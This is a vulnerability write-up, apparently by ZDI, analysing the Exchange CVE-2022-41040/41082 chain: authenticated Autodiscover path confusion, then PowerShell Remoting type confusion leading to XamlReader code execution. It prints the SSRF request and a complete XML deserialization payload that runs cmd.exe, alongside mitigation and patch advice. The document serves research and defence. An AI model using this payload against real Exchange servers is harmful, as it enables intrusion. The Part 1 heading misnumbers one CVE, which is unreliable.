CONTROL YOUR TYPES OR GET PWNED: REMOTE CODE EXECUTION IN EXCHANGE POWERSHELL BACKEND

渗透技巧 1年前 (2022) admin
677 0 0

By now you have likely already heard about the in-the-wild exploitation of Exchange Server, chaining CVE-2022-41040 and CVE-2022-41082. It was originally submitted to the ZDI program by the researcher known as “DA-0x43-Dx4-DA-Hx2-Tx2-TP-S-Q from GTSC”. After successful validation, it was immediately submitted to Microsoft. They patched both bugs along with several other Exchange vulnerabilities in the November Patch Tuesday release.

It is a beautiful chain, with an ingenious vector for gaining remote code execution. The tricky part is that it can be exploited in multiple ways, making both mitigation and detection harder. This blog post is divided into two main parts:

·       Part 1 – where we review details of the good old ProxyShell Path Confusion vulnerability (CVE-2021-34473), and we show that it can still be abused by a low-privileged user.
·       Part 2 – where we present the novel RCE vector in the Exchange PowerShell backend.

 Here’s a quick demonstration of the bugs in action:

Part 1: The ProxyShell Path Confusion for Every User (CVE-2022-42040)

There is a great chance that you are already familiar with the original ProxyShell Path Confusion vulnerability (CVE-2021-34473), which allowed Orange Tsai to access the Exchange PowerShell backend during Pwn2Own Vancouver 2021. If you are not, I encourage you to read the details in this blog post.

Microsoft patched this vulnerability in July of 2021. However, it turned out that the patch did not address the root cause of the vulnerability. Post-patch, unauthenticated attackers are no longer able to exploit it due to the implemented access restrictions, but the root cause remains.

First, let’s see what happens if we try to exploit it without authentication.

HTTP Request

HTTP Response

HTTP/1.1 401 Unauthorized
Cache-Control: private
Server: Microsoft-IIS/10.0
request-id: d7772cdb-6286-4f76-96bf-5955a6510d66
X-CalculatedBETarget: win-6kf62kusui9.zdi.local
X-AspNet-Version: 4.0.30319
X-OWA-Version: 15.2.1118.12
WWW-Authenticate: Basic realm=”192.168.1.10″
WWW-Authenticate: Negotiate
WWW-Authenticate: NTLM

As expected, a 401 Unauthorized error was returned. However, can you spot something interesting in the response? The server says that we can try to authenticate with either Basic or NTLM authentication. Let’s give it a shot.

HTTP Request

GET /autodiscover/autodiscover.json?@zdi/PowerShell?serializationLevel=Full;ExchClientVer=15.2.922.7;clientApplication=ManagementShell;TargetServer=;PSVersion=5.1.17763.592&Email=autodiscover/autodiscover.json%3F@zdi HTTP/1.1
Host: 192.168.1.10
Authorization: Basic cG9jdXNlcjpwb2NwYXNzd2QK
Connection: close

HTTP Response

HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/10.0
request-id: af13615a-6dae-40d5-b486-964eb329ba06
X-CalculatedBETarget: win-6kf62kusui9.zdi.local
X-AspNet-Version: 4.0.30319
Set-Cookie: X-BackEndCookie=S-1-5-21-1545661678-133831305-1065626216-1642=u56Lnp2ejJqBnJnLzpyez8rSzsvJydLLncid0p7Lm8nSzsvLyc2anczHx86agYHNz83N0s7P0s/Gq8/Hxc/Ixc/IgYWbltGTkJyek4HP; path=/autodiscover; secure; HttpOnly

Exchange says that it is cool now! This shows us that:

·       The ProxyShell Path Confusion still exists, as we can reach the PowerShell backend through the autodiscover endpoints.
·       As the autodiscover endpoints allow the use of legacy authentication (NTLM and Basic authentication) by default, we can access those endpoints by providing valid credentials. After successful authentication, our request will be redirected to the selected backend service.

Legacy authentication in Exchange is described by Microsoft here. The following screenshot presents a fragment of the table included in the previously mentioned webpage.

CONTROL YOUR TYPES OR GET PWNED: REMOTE CODE EXECUTION IN EXCHANGE POWERSHELL BACKEND

Figure 1 – Legacy authentication in Exchange services, source: https://learn.microsoft.com/

According to the documentation and some manual testing, it seems that an Exchange instance was protected against this vulnerability if:

·       A custom protection mechanism was deployed that blocks the Autodiscover SSRF vector (for example, on the basis of the URL), or
·       If legacy authentication was blocked for the Autodiscover service. This can be done with a single command (though an Exchange Server restart is probably required):

Set-AuthenticationPolicy -BlockLegacyAuthAutodiscover:$true
So far, we have discovered that an authenticated user can access the Exchange PowerShell backend. We will now proceed to the second part of this blog post to discuss how this can be exploited for remote code execution.

Part 2: PowerShell Remoting Objects Conversions – Be Careful or Be Pwned (CVE-2022-41082)

In this part, we will focus on the remote code execution vulnerability in the Exchange PowerShell backend. It is a particularly interesting vulnerability, and is based on two aspects:

·       PowerShell Remoting conversions and instantiations.
·       Exchange custom converters.

It has been a very long ride for me to understand this vulnerability fully and I find that I am still learning more about PowerShell Remoting. The PowerShell Remoting Protocol has a very extensive specifications and there are some hidden treasures in there. You may want to look at the official documentation, although I will try to guide you through the most important aspects. The discussion here should be enough to understand the vulnerability.

PowerShell Remoting Conversions Basics and Exchange Converters

There are several ways in which serialized objects can be passed to a PowerShell Remoting instance. We can divide those objects into two main categories:

·       Primitive type objects
·       Complex objects

Primitive types are not always what you would think of as “primitive”. We have some basic types here such as strings and byte arrays, but “primitive types” also include types such as URI, XMLDocument and ScriptBlock (the last of which is blocked by default in Exchange). Primitive type objects can usually be specified with a single XML tag, for example:

<S>mystring</S> -> string
<BA>Ynl0ZWFycmF5Cg==</BA> -> byte array in form of a base64 encoded string

Complex objects have a completely different representation. Let’s take a quick look at the example from the documentation:

<Obj RefId=RefId-0>
<TN RefId=RefId-0>
<T>System.Drawing.Point</T>
<T>System.ValueType</T>
<T>System.Object</T>
</TN>
<Props>
<B N=IsEmpty>false</B>
<I32 N=X>12</I32>
<I32 N=Y>34</I32>
</Props>
</Obj>

First, we can see that the object is specified with the “Obj” tag. Then, we use the “TN” and “T” tags to specify the object type. Here, we have the System.Drawing.Point type, which inherits from System.ValueType.

An object can be constructed in multiple ways. Shown here is probably the simplest case: direct specification of properties. The “Props” tag defines the properties of the object. You can verify this by comparing the presented serialized object and the class documentation.

One may ask: How does PowerShell Remoting deserialize objects? Sadly, there is no single, easy answer here. PowerShell Remoting implements multiple object deserialization (or conversion) mechanisms, including quite complex logic and as well as some validation. I will focus on two main aspects, which are crucial for our vulnerability.

a)     Verifying if the specified type can be deserialized
b)     Converting (deserializing) the object

Which Types Can Be Deserialized?

PowerShell Remoting will not deserialize all .NET types. By default, it allows those types related to the remoting protocol itself. However, the list of allowed types can be extended. Exchange does that through two files:

·       Exchange.types.ps1xml
·       Exchange.partial.types.ps1xml

 An example entry included in those files will be presented soon.

In general, the type specified in the payload that can be deserialized is referenced as the “Target Type For Deserialization”. Let’s move to the second part.

How Is Conversion Performed?

In general, conversion is done in the following way.

·       Retrieve properties/member sets, deserializing complex values if necessary.
·       Verify that this type is allowed to be deserialized.
·       If yes, perform the conversion.

Now the most important part. PowerShell Remoting implements multiple conversion routines. In order to decide which converter should be used, the System.Management.Automation.LanguagePrimitives.FigureConversion(Type, Type) method is used. It accepts two input arguments:

·       Type fromType – the type from which the object will be obtained (for example, string or byte array).
·       Type toType – the target type for deserialization.

The FigureConversion method contains logic to find a proper converter. If it is not able to find any converter, it will throw an exception.

As already mentioned, multiple converters are available. However, the most interesting for us are:

·       ConvertViaParseMethod – invokes Parse(String) method on the target type. In this case, we control the string argument.
·       ConvertViaConstructor – invokes the single-argument constructor that accepts an argument of type fromType. In this case, we can control the argument, but limitations apply.
·       ConvertViaCast – invokes the proper cast operator, which could be an implicit or explicit cast.
·       ConvertViaNoArgumentConstructor – invokes the no-argument constructor and sets the public properties using reflection.
·       CustomConverter – there are also some custom converters specified.

As we can see, these conversions are very powerful and provide a strong reflection primitive. In fact, some of them were already mentioned in the well-known Friday the 13th JSON Attacks Black Hat paper. As we have mentioned, though, the toType is validated and we are not able to use these converters to instantiate objects of arbitrary type. That would certainly be a major security hole.

SerializationTypeConverter – Exchange Custom Converter

Let’s have a look at one particular item specified in the Exchange.types.ps1xml file:

<Type>
<Name>Deserialized.Microsoft.Exchange.Data.IPvxAddress</Name>
<Members>
<MemberSet>
<Name>PSStandardMembers</Name>
<Members>
<NoteProperty>
<Name>TargetTypeForDeserialization</Name>
<Value>Microsoft.Exchange.Data.IPvxAddress</Value>
</NoteProperty>
</Members>
</MemberSet>
</Members>
</Type>
<Type>
<Name>Microsoft.Exchange.Data.IPvxAddress</Name>
<Members>
<CodeProperty IsHidden=true>
<Name>SerializationData</Name>
<GetCodeReference>
<TypeName>Microsoft.Exchange.Data.SerializationTypeConverter</TypeName>
<MethodName>GetSerializationData</MethodName>
</GetCodeReference>
</CodeProperty>
</Members>
<TypeConverter>
<TypeName>Microsoft.Exchange.Data.SerializationTypeConverter</TypeName>
</TypeConverter>
</Type>

There are several basic things that we can learn from this XML fragment:

·       Microsoft.Exchange.Data.IPvxAddress class is included in the list of the allowed target types.
·       The TargetTypeForDeserialization member gives the full class name.
·       A custom type converter is defined: Microsoft.Exchange.Data.SerializationTypeConverter

The SerializationTypeConverter wraps the BinaryFormatter serializer with ExchangeBinaryFormatterFactory. That way, the BinaryFormatter instance created will make use of the allow and block lists.

internal object Deserialize(MemoryStream stream)
{
bool strictModeStatus = Serialization.GetStrictModeStatus(DeserializeLocation.SerializationTypeConverter);
return ExchangeBinaryFormatterFactory.CreateBinaryFormatter(DeserializeLocation.SerializationTypeConverter, strictModeStatus, SerializationTypeConverter.allowedTypes, SerializationTypeConverter.allowedGenerics).Deserialize(stream);
}

To sum up, some of our types (or members) can be retrieved through BinaryFormatter deserialization. Those types must be included in the SerializationTypeConverter allowlist, though. Moreover, custom converters are last-resort converters. Before they are used, PowerShell Remoting will try to retrieve the object through a constructor or a Parse method.

RCE Payload Walkthrough

It is high time to show you the RCE payload and see what happens during the conversion.

<Obj N=Args RefId=12>
<TNRef RefId=0 />
<LST>
<Obj RefId=13>
<MS>
<S N=N>-Identity:</S>
<!–Object type section–>
<Obj N=V RefId=14>
<TN RefId=2>
<T>System.ServiceProcess.ServiceController</T>
<T>System.Object</T>
</TN>
<ToString>Object</ToString>
<!–Object type section end–>
<!–Properties section–>
<Props>
<S N=Name>Type</S>
<Obj N=TargetTypeForDeserialization>
<TN RefId=2>
<T>System.Exception</T>
<T>System.Object</T>
</TN>
<MS>
<BA N=SerializationData>AAEAAAD/////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAAAgU3lzdGVtLldpbmRvd3MuTWFya3VwLlhhbWxSZWFkZXIEAAAABgMAAABYUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA>
</MS>
</Obj>
</Props>
<!–Properties section end–>
<!–Payload section–>
<S>
<![CDATA[<ResourceDictionary xmlns=”http://schemas.microsoft.com/winfx/2006/xaml/presentation” xmlns:x=”http://schemas.microsoft.com/winfx/2006/xaml” xmlns:System=”clr-namespace:System;assembly=mscorlib” xmlns:Diag=”clr-namespace:System.Diagnostics;assembly=system”><ObjectDataProvider x:Key=”LaunchCalch” ObjectType=”{x:Type Diag:Process}” MethodName=”Start”><ObjectDataProvider.MethodParameters><System:String>cmd.exe</System:String><System:String>/c whoami > C:\\poc.txt</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>]]>
</S>
<!–Payload section end–>
</Obj>
</MS>
</Obj>
</LST>
</Obj>

This XML fragment presents the specification of the “-Identity” argument of the “Get-Mailbox” Exchange Powershell cmdlet. We have divided the payload into three sections: Object type, Properties, and Payload.

·       Object type section – specifies that there will be an object of type System.ServiceProcess.ServiceController.
·       Properties section – specifies the properties of the object. One thing that should catch your attention here is the property with the name TargetTypeForDeserialization. You should also notice the byte array with the name SerializationData. (Note that Powershell Remoting accepts an array of bytes in the form of a base64 encoded string).
·       Payload section – contains XML in the form of a string. The XML is a XAML deserialization gadget based on ObjectDataProvider.

Getting Control over TargetTypeForDeserialization

In the first step, we are going to focus on the Properties section of the RCE payload. Before we do that, let’s quickly look at some fragments of the deserialization code. The majority of the deserialization routines are implemented in the System.Management.Automation.InternalDeserializer class.

Let’s begin with this fragment of the ReadOneObject(out string) method:

internal object ReadOneObject(out string streamName)
{
this.CheckIfStopping();
object result;
try
{
this.depthBelowTopLevel++;
if (this.depthBelowTopLevel == 50)
{
throw this.NewXmlException(Serialization.DeserializationTooDeep, null, new object[0]);
}
bool flag;
object obj = this.ReadOneDeserializedObject(out streamName, out flag); // [1]
if (obj == null)
{
result = null;
}
else // [2]
{
}
}
}

At [1], it invokes the ReadOneDeserializedObject method, which may return an object.

At [2], the code flow continues, provided an object has been returned. We will focus on this part later.

Let’s quickly look at the ReadOneDeserializedObject method. It goes through the XML tags and executes appropriate actions, depending on the tag. However, only one line is particularly interesting for us.

private object ReadOneDeserializedObject(out string streamName, out bool isKnownPrimitiveType)
{
if (this._reader.NodeType != XmlNodeType.Element)
{
throw this.NewXmlException(Serialization.InvalidNodeType, null, new object[]
{
this._reader.NodeType.ToString(),
XmlNodeType.Element.ToString()
});
}
InternalDeserializer._trace.WriteLine(Processing start node {0}, this._reader.LocalName);
streamName = this._reader.GetAttribute(S);
isKnownPrimitiveType = false;
if (this.IsNextElement(Nil))
{
this.Skip();
return null;
}
if (this.IsNextElement(Ref))
{
string attribute = this._reader.GetAttribute(RefId);
if (attribute == null)
{
throw this.NewXmlException(Serialization.AttributeExpected, null, new object[]
{
RefId
});
}
object referencedObject = this.objectRefIdHandler.GetReferencedObject(attribute);
if (referencedObject == null)
{
throw this.NewXmlException(Serialization.InvalidReferenceId, null, new object[]
{
attribute
});
}
this.Skip();
return referencedObject;
}
else
{
TypeSerializationInfo typeSerializationInfoFromItemTag = KnownTypes.GetTypeSerializationInfoFromItemTag(this._reader.LocalName);
if (typeSerializationInfoFromItemTag != null)
{
InternalDeserializer._trace.WriteLine(Primitive Knowntype Element {0}, typeSerializationInfoFromItemTag.ItemTag);
isKnownPrimitiveType = true;
return this.ReadPrimaryKnownType(typeSerializationInfoFromItemTag);
}
if (this.IsNextElement(Obj))
{
InternalDeserializer._trace.WriteLine(PSObject Element);
return this.ReadPSObject(); // [1]
}
InternalDeserializer._trace.TraceError(Invalid element {0} tag found, new object[]
{
this._reader.LocalName
});
throw this.NewXmlException(Serialization.InvalidElementTag, null, new object[]
{
this._reader.LocalName
});
}
}

At [1], it calls ReadPSObject. This happens when the tag name is equal to “Obj”.

Finally, we analyze a fragment of the ReadPSObject function.

private PSObject ReadPSObject()
{
PSObject psobject = this.ReadAttributeAndCreatePSObject();
if (!this.ReadStartElementAndHandleEmpty(Obj))
{
return psobject;
}
bool overrideTypeInfo = true;
while (this._reader.NodeType == XmlNodeType.Element)
{
if (this.IsNextElement(TN) || this.IsNextElement(TNRef))
{
this.ReadTypeNames(psobject); // [1]
overrideTypeInfo = false;
}
else if (this.IsNextElement(Props))
{
this.ReadProperties(psobject); // [2]
}
else if (this.IsNextElement(MS))
{
this.ReadMemberSet(psobject.InstanceMembers); // [3]
}
else if (this.IsNextElement(ToString))
{
psobject.ToStringFromDeserialization = this.ReadDecodedElementString(ToString);
psobject.InstanceMembers.Add(PSObject.dotNetInstanceAdapter.GetDotNetMethod<PSMemberInfo>(psobject, ToString));
PSGetMemberBinder.SetHasInstanceMember(ToString);
psobject.TokenText = psobject.ToStringFromDeserialization;
}
else
{
object obj = null;
ContainerType containerType = ContainerType.None;
TypeSerializationInfo typeSerializationInfoFromItemTag = KnownTypes.GetTypeSerializationInfoFromItemTag(this._reader.LocalName);
if (typeSerializationInfoFromItemTag != null)
{
InternalDeserializer._trace.WriteLine(Primitive Knowntype Element {0}, typeSerializationInfoFromItemTag.ItemTag);
obj = this.ReadPrimaryKnownType(typeSerializationInfoFromItemTag); // [4]
}
else if (this.IsKnownContainerTag(out containerType))
{
InternalDeserializer._trace.WriteLine(Found container node {0}, containerType);
obj = this.ReadKnownContainer(containerType);
}
else if (this.IsNextElement(Obj))
{
InternalDeserializer._trace.WriteLine(Found PSObject node);
obj = this.ReadOneObject(); // [5]
}
}
}
}

At [1], the code retrieves the type names (strings) from the <TN> tag.

At [2], the code retrieves the properties from the <Props> tag.

At [3], the code retrieves the member set from the <MS> tag.

At [4], the code tries to read the primary type (such as string or byte array).

At [5], the code initializes a new deserialization procedure, provided that the tag is an <Obj> tag.

So far, we have seen how InternalDeserializer parses the Powershell Remoting XML. As shown earlier, the Properties section of the payload contains a <Props> tag. It seems that we must look at the ReadProperties method.

private void ReadProperties(PSObject dso)
{
dso.isDeserialized = true;
dso.adaptedMembers = new PSMemberInfoInternalCollection<PSPropertyInfo>(); // [1]
dso.InstanceMembers.Add(PSObject.dotNetInstanceAdapter.GetDotNetMethod<PSMemberInfo>(dso, GetType));
PSGetMemberBinder.SetHasInstanceMember(GetType);
dso.clrMembers = new PSMemberInfoInternalCollection<PSPropertyInfo>();
if (this.ReadStartElementAndHandleEmpty(Props))
{
while (this._reader.NodeType == XmlNodeType.Element)
{
string name = this.ReadNameAttribute(); // [2]
object serializedValue = this.ReadOneObject(); // [3]
PSProperty member = new PSProperty(name, serializedValue); // [4]
dso.adaptedMembers.Add(member); // [5]
}
this.ReadEndElement();
}
}

At [1], the adaptedMembers property of the PSObject object is set to some PowerShell-related collection.

At [2], the property name is obtained (from the N attribute).

At [3], the code again invokes ReadOneObject in order to deserialize the nested object.

At [4], it instantiates a PSProperty object, based on the deserialized value and the property name.

Finally, at [5], it extends adaptedMembers by adding the new PSProperty. This is a crucial step, pay close attention to this.

Let’s again look at the Payload section of our RCE payload:

<Props>
<S N=Name>Type</S>
<Obj N=TargetTypeForDeserialization>
<TN RefId=2>
<T>System.Exception</T>
<T>System.Object</T>
</TN>
<MS>
<BA N=SerializationData>base64string<BA>
</MS>
</Obj>
</Props>

We have two properties defined here:

·       The Name property, which is of type string and whose value is the string “Type”.

·       The TargetTypeForDeserialization property, whose value is a complex object specified as follows:

o   The type (TN tag) is System.Exception.
o   There is a value stored as a base64 encoded string, representing a byte array.

We have already seen that nested objects (defined with the Obj tag) are also deserialized with the ReadOneObject method. We have already looked at its first part (object retrieval). Now, let’s see what happens further:

internal object ReadOneObject(out string streamName)
{
this.CheckIfStopping();
object result;
try
{
this.depthBelowTopLevel++;
if (this.depthBelowTopLevel == 50)
{
throw this.NewXmlException(Serialization.DeserializationTooDeep, null, new object[0]);
}
bool flag;
object obj = this.ReadOneDeserializedObject(out streamName, out flag);
if (obj == null)
{
result = null;
}
else
{
if (!flag)
{
PSObject psobject = PSObject.AsPSObject(obj);
if (Deserializer.IsDeserializedInstanceOfType(psobject, typeof(CimInstance)))
{
return this.RehydrateCimInstance(psobject);
}
Type targetTypeForDeserialization = psobject.GetTargetTypeForDeserialization(this._typeTable); // [1]
if (null != targetTypeForDeserialization)
{
Exception ex = null;
try
{
object obj2 = LanguagePrimitives.ConvertTo(obj, targetTypeForDeserialization, true, CultureInfo.InvariantCulture, this._typeTable); // [2]
PSEtwLog.LogAnalyticVerbose(PSEventId.Serializer_RehydrationSuccess, PSOpcode.Rehydration, PSTask.Serialization, PSKeyword.Serializer, new object[]
{
psobject.InternalTypeNames.Key,
targetTypeForDeserialization.FullName,
obj2.GetType().FullName
});
return obj2;
}
catch (InvalidCastException ex)
{
}
catch (ArgumentException ex)
{
}
PSEtwLog.LogAnalyticError(PSEventId.Serializer_RehydrationFailure, PSOpcode.Rehydration, PSTask.Serialization, PSKeyword.Serializer, new object[]
{
psobject.InternalTypeNames.Key,
targetTypeForDeserialization.FullName,
ex.ToString(),
(ex.InnerException == null) ? string.Empty : ex.InnerException.ToString()
});
}
}
result = obj;
}
}
finally
{
this.depthBelowTopLevel;
}
return result;
}

At [1], the code retrieves the Type targetTypeForDeserialization through the GetTargetTypeForDeserialization method.

At [2], the code tries to retrieve a new object through the LanguagePrimitives.ConvertTo method (if GetTargetTypeForDeserialization returned anything). The targetTypeForDeserialization is one of the inputs. Another input is the object obtained with the already analyzed ReadOneDeserializedObject method.

As we have specified the object of the System.Exception type (TN tag), the GetTargetTypeForDeserialization method will return the System.Exception type. Why does the exploit use Exception? For two reasons:

·       It is included in the allowlist exchange.partial.types.ps1xml.
·       It has a custom converter registered: Microsoft.Exchange.Data.SerializationTypeConverter.

 These two conditions are important because they allow the object to be retrieved using the SerializationTypeConverter, which was discussed above as a wrapper for BinaryFormatter. Note that there are also various other types available besides System.Exception that meet the two conditions mentioned here, and those types could be used as an alternative to System.Exception.

 Have you ever tried to serialize an object of type Type? If yes, you probably know that it is serialized as an instance of System.UnitySerializationHolder. If you base64-decode the string provided in the Properties part of our payload, you will quickly realize that it is a System.UnitySerializationHolder with the following properties:

·       m_unityType = 0x04,
·       m_assemblyName = “PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35”,
·       m_data = “System.Windows.Markup.XamlReader”.

To sum up, our byte array holds the object, which constructs a XamlReader type upon deserialization! That is why we want to use the SerializationTypeConverter – it allows us to retrieve an object of type Type. An immediate difficulty is apparent here, though, because Exchange’s BinaryFormatter is limited to types on the allowlist. Hence, it’s not clear why the deserialization of this byte array should succeed. Amazingly, though, System.UnitySerializationHolder is included in the SerializationTypeConverter’s list of allowed types!

private static readonly string[] allowedTypes = new string[]
{
System.UnitySerializationHolder,
System.Uri,
System.Version,
System.Xml.XmlException
};

Let’s see how it looks in the debugger:

CONTROL YOUR TYPES OR GET PWNED: REMOTE CODE EXECUTION IN EXCHANGE POWERSHELL BACKEND

Figure 2 – Deserialization leading to the retrieval of the XamlReader Type

Even though the targetTypeForDeserialization is Exception, LanguagePrimitives.ConvertTo returned the Type object for XamlReader (see variable obj2). This happens because the final type of the retrieved object is not verified. Finally, this Type object will be added to the adaptedMembers collection (see the ReadProperties method).

Getting Code Execution Through XamlReader, or Any Other Class

We have already deserialized the TargetTypeForDeserialization property, which is a Type object for the XamlReader type. Perfect! As you might expect, allowing users to obtain an arbitrary Type object through deserialization is not the best idea. But we still need to understand: why does PowerShell Remoting respect such a user-defined property? To begin answering this, let’s consider what the code should do next:

·       It should deserialize the <S> tag defined after the <Props> tag (payload section of the input XML). This is a primitive string type, thus it retrieves the string.
·       It should take the type of the main object, which is defined in the <TN> tag (here: System.ServiceProcess.ServiceController).
·       It should try to create the System.ServiceProcess.ServiceController instance from the provided string.

Our goal is to switch types here. We want to perform a conversion so that the System.Windows.Markup.XamlReader type is retrieved from the string. Let’s analyze the GetTargetTypeForDeserialization function to see how this can be achieved.

internal Type GetTargetTypeForDeserialization(TypeTable backupTypeTable)
{
PSMemberInfo psstandardMember = this.GetPSStandardMember(backupTypeTable, TargetTypeForDeserialization); // [1]
if (psstandardMember != null)
{
return psstandardMember.Value as Type; // [2]
}
return null;
}

At [1], it tries to retrieve an object of the PSMemberInfo type using the GetPSStandardMember method. It passes two parameters: backupTypeTable (this contains the Powershell Remoting allowed types/converters) and the hardcoded string “TargetTypeForDeserialization”.

At [2], the code retrieves the Value member from the obtained object and tries to cast it to Type. When successful, the Type object will be returned. If not, null will be returned.

internal PSMemberInfo GetPSStandardMember(TypeTable backupTypeTable, string memberName)
{
PSMemberInfo psmemberInfo = null;
TypeTable typeTable = (backupTypeTable != null) ? backupTypeTable : this.GetTypeTable();
if (typeTable != null)
{
PSMemberSet psmemberSet = PSObject.TypeTableGetMemberDelegate<PSMemberSet>(this, typeTable, PSStandardMembers); // [1]
if (psmemberSet != null)
{
psmemberSet.ReplicateInstance(this);
psmemberInfo = new PSMemberInfoIntegratingCollection<PSMemberInfo>(psmemberSet, PSObject.GetMemberCollection(PSMemberViewTypes.All, backupTypeTable))[memberName]; // [2]
}
}
if (psmemberInfo == null)
{
psmemberInfo = (this.InstanceMembers[PSStandardMembers] as PSMemberSet);
}
return psmemberInfo;
}

GetPSStandardMember method is not easy to understand, especially when you are not familiar with the classes and methods used here. However, I will try to summarize it for you in two points:

At [1], the PSMemberSet object is retrieved through the TypeTableGetMemberDelegate method. It takes our specified type (here, System.ServiceProcess.ServiceController) and compares it against the list of allowed types. If the provided type is allowed, it will extract its properties and create the new member set.

The following screenshot presents the PSMemberSet retrieved for the System.ServiceProcess.ServiceController type:

CONTROL YOUR TYPES OR GET PWNED: REMOTE CODE EXECUTION IN EXCHANGE POWERSHELL BACKEND

Figure 3 – PSMemberSet retrieved for the System.ServiceProcess.ServiceController type

At [2], the collection of members is created from multiple sources. If a member is not included in the basic member set (obtained from the list of allowed types), it will try to find such a member in a different source. This collection includes the adapted members, which contain the deserialized properties obtained through the Props tag.

Finally, it will try to retrieve the TargetTypeForDeserialization member from the final collection.

Let’s have a quick look at the specification of the System.ServiceProcess.ServiceController in the list of allowed types. It is defined in the default Powershell Remoting types list, located in C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml.

<Type>
<Name>Deserialized.System.ServiceProcess.ServiceController</Name>
<Members>
<MemberSet>
<Name>PSStandardMembers</Name>
<Members>
<PropertySet>
<Name>DefaultDisplayPropertySet</Name>
<ReferencedProperties>
<Name>Status</Name>
<Name>Name</Name>
<Name>DisplayName</Name>
</ReferencedProperties>
</PropertySet>
</Members>
</MemberSet>
</Members>
</Type>

As you can see, this type does not have the TargetTypeForDeserialization member specified. Only the DefaultDisplayPropertySet member is defined. According to that, the targetTypeForDeserialization will be retrieved from adaptedMembers. As the Exchange SerializationTypeConverter converter allows us to retrieve a Type through deserialization, we can provide a new conversion type to adaptedMembers!

Following screenshot presents the obtained psmemberinfo, which defines the XamlReader type:

CONTROL YOUR TYPES OR GET PWNED: REMOTE CODE EXECUTION IN EXCHANGE POWERSHELL BACKEND

Figure 4 – Retrieved XamlReader type

Success! GetTargetTypeForDeserialization returned the XamlReader type. You probably remember that PowerShell Remoting contains several converters. One of them allows calling the Parse(String) method. According to that, we can call the XamlReader.Parse(String) method, where the input will be equal to the string provided in the <S> tag. Let’s quickly verify it with the debugger.

The following screenshot presents the debugging of the LanguagePrimitive.ConvertTo method. The resultType is indeed equal to the XamlReader:

CONTROL YOUR TYPES OR GET PWNED: REMOTE CODE EXECUTION IN EXCHANGE POWERSHELL BACKEND

Figure 5 – Debugging of the ConvertTo method – resultType

The next screenshot presents the valueToConvert argument. It includes the string (XAML gadget) included in our payload:

CONTROL YOUR TYPES OR GET PWNED: REMOTE CODE EXECUTION IN EXCHANGE POWERSHELL BACKEND

Figure 6 – Debugging of the ConvertTo method – valueToConvert

We will soon reach the LanguagePrimitives.FigureParseConversion method. The following screenshot illustrates debugging this method. One can see that:

·       fromType is equal to String.
·       toType is equal to XamlReader.
· methodInfo contains the XamlReader.Parse(String string) method.

CONTROL YOUR TYPES OR GET PWNED: REMOTE CODE EXECUTION IN EXCHANGE POWERSHELL BACKEND

Figure 7 – Debugging the LanguagePrimitives.FigureParseConversion method

Yes! We have been able to get the XamlReader.Parse(String string) method through reflection! We also fully control the input that will be passed to this function. Finally, it will be invoked through the System.Management.Automation.LanguagePrimitives.ConvertViaParseMethod.ConvertWithoutCulture method, as presented in the following screenshot:

CONTROL YOUR TYPES OR GET PWNED: REMOTE CODE EXECUTION IN EXCHANGE POWERSHELL BACKEND

Figure 8 – Execution of the XamlReader.Parse method

As you may be aware, XamlReader allows us to achieve code execution through loading XAML (see ysoserial.net). When we continue the process, our command gets executed.

CONTROL YOUR TYPES OR GET PWNED: REMOTE CODE EXECUTION IN EXCHANGE POWERSHELL BACKEND

Figure 9 – Remote Code Execution through the Exchange PowerShell backend

There are also plenty of other classes besides XamlReader that could be abused in a similar way. For example, you can call the single-argument constructor of any type, so you can be creative here!

TL;DR – Summary

Getting to understand this vulnerability has been a long and complicated process. I hope that I have provided enough details for you to understand this issue. I would like to summarize the whole Microsoft Exchange chain in several points:

·       The path confusion in the Autodiscover service (CVE-2021-34473) was not fixed, but rather it was restricted to unauthenticated users. Authenticated users can still easily abuse it using Basic or NTLM authentication.

·       PowerShell Remoting allows us to perform object deserialization/conversion operations.

·       PowerShell Remoting includes several powerful converters, which can:

o   Call the public single-argument constructor of the provided type.
o   Call the public Parse(String) method of the provided type.
o   Retrieve an object through reflection.
o   Call custom converters.
o   Other conversions may be possible as well.

·       PowerShell Remoting implements a list of allowed types, so an attacker cannot (directly) invoke converters to instantiate arbitrary types.

·       However, the Exchange custom converter named SerializationTypeConverter allows us to obtain an arbitrary object of type Type.

·       This can be leveraged to fully control the type that will be retrieved through a conversion.

·       The attacker can abuse this behavior to call the Parse(String) method or the public single-argument constructor of almost any class while controlling the input argument.

·       This behavior easily leads to remote code execution. This blog post illustrates exploitation using the System.Windows.Markup.XamlReader.Parse(String) method.

It was not clear to us how Microsoft was going to approach fixing this vulnerability. Direct removal of the System.UnitySerializationHolder from the SerializationTypeConverter allowlist might cause breakage to Exchange functionality. One potential option was to restrict the returned types, for example, by restricting them to the types in the “Microsoft.Exchange.*” namespace. Accordingly, I started looking for Exchange-internal exploitation gadgets. I found more than 20 of them and reported them to Microsoft to help them with their mitigation efforts. That effort appears to have paid off. Microsoft patched the vulnerability by restricting the types that can be returned through the deserialization of System.UnitySerializationHolder according to a general allowlist, and then restricting them further according to a specific denylist. It seems that the gadgets I reported had an influence on that allowlist. I will probably detail some of those gadgets in a future blog post. Stay tuned for more…

Summary

I must admit that I was impressed with this vulnerability. The researcher clearly invested a good amount of time to fully understand the details of PowerShell Remoting, analyze Exchange custom converters, and find a way to abuse them. I had to take my analysis to another level to fully understand this bug chain and look for potential variants and alternate gadgets.

Microsoft patched these bugs in the November release. They also published a blog with additional workarounds you can employ while you test and deploy the patches. You should also make sure you have the September 2021 Cumulative Update (CU) installed. This adds the Exchange Emergency Mitigation service. This automatically installs available mitigations and sends diagnostic data to Microsoft. Still, the best method to prevent exploitation is to apply the most current security updates as they are released. We expect more Exchange patches in the coming months.

